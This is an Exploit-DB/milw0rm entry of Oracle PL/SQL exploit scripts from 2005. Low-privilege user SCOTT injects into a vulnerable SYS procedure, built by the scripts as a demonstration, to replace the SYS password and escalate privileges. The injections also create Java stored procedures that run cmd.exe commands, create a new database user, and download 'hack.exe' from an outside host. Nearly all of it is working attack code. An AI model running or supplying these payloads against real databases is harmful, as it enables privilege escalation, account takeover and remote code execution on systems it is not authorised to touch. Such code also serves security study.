Original Exploit-DB Content (Verbatim)
/*
Advanced SQL Injection in Oracle databases
Becoming the SYS user with SQL Injection.
This script creates functions that can be injected to replace
the password of the SYS user and to restore it to the original value.
By Esteban Martinez Fayo
secemf@gmail.com
*/
------------
-- Execute this as a low privilege user
------------
--This table is optional if you don't want to save the old SYS password
CREATE TABLE "SCOTT"."PSW_DATA" ("USERNAME" VARCHAR2(32 byte) NOT NULL,
"PSW_HASH" VARCHAR2(30 byte) NOT NULL);
CREATE OR REPLACE FUNCTION "SCOTT"."SQLI_CHANGEPSW" return varchar2
authid current_user as
pragma autonomous_transaction;
ROW_COUNT NUMERIC;
PSW VARCHAR2(30);
BEGIN
EXECUTE IMMEDIATE 'SELECT COUNT(*) FROM SCOTT.PSW_DATA' INTO ROW_COUNT;
IF (ROW_COUNT <= 0) THEN
EXECUTE IMMEDIATE 'INSERT INTO SCOTT.PSW_DATA select username,
password from dba_users where username=''SYS''';
EXECUTE IMMEDIATE 'ALTER USER SYS IDENTIFIED BY newpsw';
END IF;
COMMIT;
RETURN '';
END;
/
CREATE OR REPLACE FUNCTION "SCOTT"."SQLI_RESTOREPSW" return varchar2
authid current_user as
pragma autonomous_transaction;
PSW_HASH VARCHAR2(30);
BEGIN
EXECUTE IMMEDIATE 'SELECT PSW_HASH FROM SCOTT.PSW_DATA WHERE
USERNAME = ''SYS''' INTO PSW_HASH;
EXECUTE IMMEDIATE 'ALTER USER SYS IDENTIFIED BY VALUES ''' || PSW_HASH || '''';
EXECUTE IMMEDIATE 'DELETE FROM SCOTT.PSW_DATA where username=''SYS''';
COMMIT;
RETURN '';
END;
/
-- SYS.SQLIVULN is a procedure vulnerable to SQL Injection. The vulnerability exists
-- in a single PL/SQL statement (not in an anonymous PL/SQL block).
-- See file SQLInjectionLimitation.sql
-- To change the SYS password execute:
EXEC SYS.SQLIVULN('MANAGER''||SCOTT.SQLI_CHANGEPSW()||''');
-- To restore the SYS password execute:
EXEC SYS.SQLIVULN('MANAGER''||SCOTT.SQLI_RESTOREPSW()||''');
--------------------------------------------------------------------------------------------------------
/*
Advanced SQL Injection in Oracle databases
Executing OS Command with SQL Injection
By Esteban Martinez Fayo
secemf@gmail.com
*/
CREATE OR REPLACE FUNCTION "SCOTT"."SQLI" return varchar2
authid current_user as
pragma autonomous_transaction;
SqlCommand VARCHAR2(2048);
BEGIN
SqlCommand := '
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "SRC_EXECUTEOS" AS
import java.lang.*;
import java.io.*;
public class ExecuteOS
{
public static void printFile (String fileName) throws IOException
{
File fileOut;
FileReader fileReaderOut;
BufferedReader buffReader;
String strRead;
fileOut = new File (fileName);
fileReaderOut = new FileReader (fileOut);
buffReader = new BufferedReader(fileReaderOut);
while ((strRead = buffReader.readLine()) != null)
System.out.println(strRead);
}
public static void execOSCmd (String cmd) throws IOException, java.lang.InterruptedException
{
String[] strCmd = {"cmd.exe", "/c", "1>c:\\stdout.txt", "2>c:\\stderr.txt", cmd};
System.out.println("==========\r\nExecuting OS command...");
Process p = Runtime.getRuntime().exec(strCmd);
p.waitFor();
System.out.println("\r\n==========\r\nThis was the STANDARD OUTPUT for the command:");
printFile ("c:\\stdout.txt");
System.out.println("\r\n==========\r\nThis was the ERROR OUTPUT for the command:");
printFile ("c:\\stderr.txt");
}
}';
execute immediate SqlCommand;
SqlCommand := '
CREATE OR REPLACE PROCEDURE "PROC_EXECUTEOS" (p_command varchar2)
AS LANGUAGE JAVA
NAME ''ExecuteOS.execOSCmd (java.lang.String)'';';
execute immediate SqlCommand;
execute immediate 'GRANT EXECUTE ON PROC_EXECUTEOS TO SCOTT';
commit; -- Must do a commit
return ''; -- Must return a value
END;
/
-- SYS.SQLIVULN is a procedure vulnerable to SQL Injection. The vulnerability exists
-- in a single PL/SQL statement (not in an anonymous PL/SQL block).
-- See file SQLInjectionLimitation.sql
EXEC SYS.SQLIVULN('MANAGER''||SCOTT.SQLI()||''');
/
SET SERVEROUTPUT ON
/
CALL dbms_java.set_output(1999);
/
EXEC sys.proc_executeos ('dir');
--------------------------------------------------------------------------------------------------------
/*
Advanced SQL Injection in Oracle databases
By Esteban Martinez Fayo
secemf@gmail.com
*/
------------
-- Execute this as a SYS
------------
-- SQLVULN is a procedure vulnerable to SQL Injection. The vulnerability exists
-- in a single PL/SQL statement (not in an anonymous PL/SQL block).
CREATE OR REPLACE PROCEDURE "SYS"."SQLIVULN" (P_JOB VARCHAR2)
AS
AVGSAL Numeric;
BEGIN
EXECUTE IMMEDIATE 'SELECT AVG(SAL) FROM SCOTT.EMP WHERE JOB = '''||P_JOB||'''' INTO AVGSAL;
DBMS_OUTPUT.PUT_LINE('Average salary for the job is: '||AVGSAL);
END;
/
GRANT EXECUTE ON "SYS"."SQLIVULN" TO "SCOTT"
/
------------
-- Execute this as a low privilege user
------------
CREATE OR REPLACE FUNCTION "SCOTT"."SQLI" return varchar2
authid current_user as
BEGIN
execute immediate 'INSERT INTO SYS.PPT (PPC) VALUES (''55'')';
commit;
return '';
END;
/
--To exploit
EXEC SYS.SQLIVULN('MANAGER'' || SCOTT.SQLI() || ''');
-- This gives an Oracle Error
--------------------------------------------------------------------------------------------------------
/*
Advanced SQL Injection in Oracle databases
Uploading a file with SQL Injection
SYS.SQLIVULN is a procedure vulnerable to SQL Injection
By Esteban Martinez Fayo
secemf@gmail.com
*/
CREATE OR REPLACE FUNCTION "SCOTT"."SQLI" return varchar2
authid current_user as
pragma autonomous_transaction;
SqlCommand VARCHAR2(2048);
BEGIN
SqlCommand := '
CREATE OR REPLACE JAVA SOURCE NAMED "SRC_FILE_UPLOAD" AS
import java.lang.*;
import java.io.*;
public class FileUpload {
public static void fileUpload(String myFile, String url) throws Exception
{
File binaryFile = new File(myFile);
FileOutputStream outStream = new FileOutputStream(binaryFile);
java.net.URL u = new java.net.URL(url);
java.net.URLConnection uc = u.openConnection();
InputStream is = (InputStream)uc.getInputStream();
BufferedReader in = new BufferedReader (new InputStreamReader (is));
byte buffer[] = new byte[1024];
int length = -1;
while ((length = is.read(buffer)) != -1) {
outStream.write(buffer, 0, length);
outStream.flush(); }
is.close(); outStream.close();
} };';
execute immediate SqlCommand;
SqlCommand := '
CREATE OR REPLACE PROCEDURE "PROC_FILEUPLOAD" (p_file varchar2, p_url varchar2)
AS LANGUAGE JAVA
NAME ''FileUpload.fileUpload (java.lang.String, java.lang.String)'';';
execute immediate SqlCommand;
execute immediate 'GRANT EXECUTE ON PROC_FILEUPLOAD TO SCOTT';
commit; -- Must do a commit
return ''; -- Must return a value
END;
/
SET SERVEROUTPUT ON
/
CALL dbms_java.set_output(1999);
/
-- SYS.SQLIVULN is a procedure vulnerable to SQL Injection.
-- The vulnerability exists
-- in a single PL/SQL statement (not in an anonymous PL/SQL block).
-- See file SQLInjectionLimitation.sql
EXEC SYS.SQLIVULN('MANAGER''||SCOTT.SQLI()||''');
/
-- Call the procedure created in the SQL Injection
EXEC sys.proc_fileupload ('c:\hack.exe', 'http://hackersite/hack.exe');
--------------------------------------------------------------------------------------------------------
/*
Advanced SQL Injection in Oracle databases
Example of a function derfined with authid current_user
vulnerable to SQL Injection in a PL/SQL anonymous block.
By Esteban Martinez Fayo
secemf@gmail.com
*/
------------
-- Execute this as a SYS or any other user that can create functions
------------
-- SQLIVULN_CUR_USR is a function vulnerable to SQL Injection in a PL/SQL anonymous
-- block that executes with the privilege of the caller (defined with AUTHID CURRENT_USER).
CREATE OR REPLACE FUNCTION "SYS"."SQLIVULN_CUR_USR" (P_JOB VARCHAR2)
return VARCHAR2
authid current_user as
AVGSAL Numeric;
BEGIN
EXECUTE IMMEDIATE 'BEGIN SELECT AVG(SAL) INTO :AVGSAL FROM SCOTT.EMP
WHERE JOB = '''||P_JOB||'''; END;' USING OUT AVGSAL;
return '';
END;
/
GRANT EXECUTE ON "SYS"."SQLIVULN_CUR_USR" TO "SCOTT"
/
-- SYS.SQLIVULN is a procedure vulnerable to SQL Injection. The vulnerability exists
-- in a single PL/SQL statement (not in an anonymous PL/SQL block).
-- See file SQLInjectionLimitation.sql
-- To Exploit the attacker could execute:
EXEC SYS.SQLIVULN('MANAGER''||SYS.SQLIVULN_CUR_USR(''AA''''; execute immediate
''''declare pragma autonomous_transaction; begin execute immediate ''''''''create
user eric identified by newpsw''''''''; commit; end;''''; end;--'')||''');
-- milw0rm.com [2005-04-13]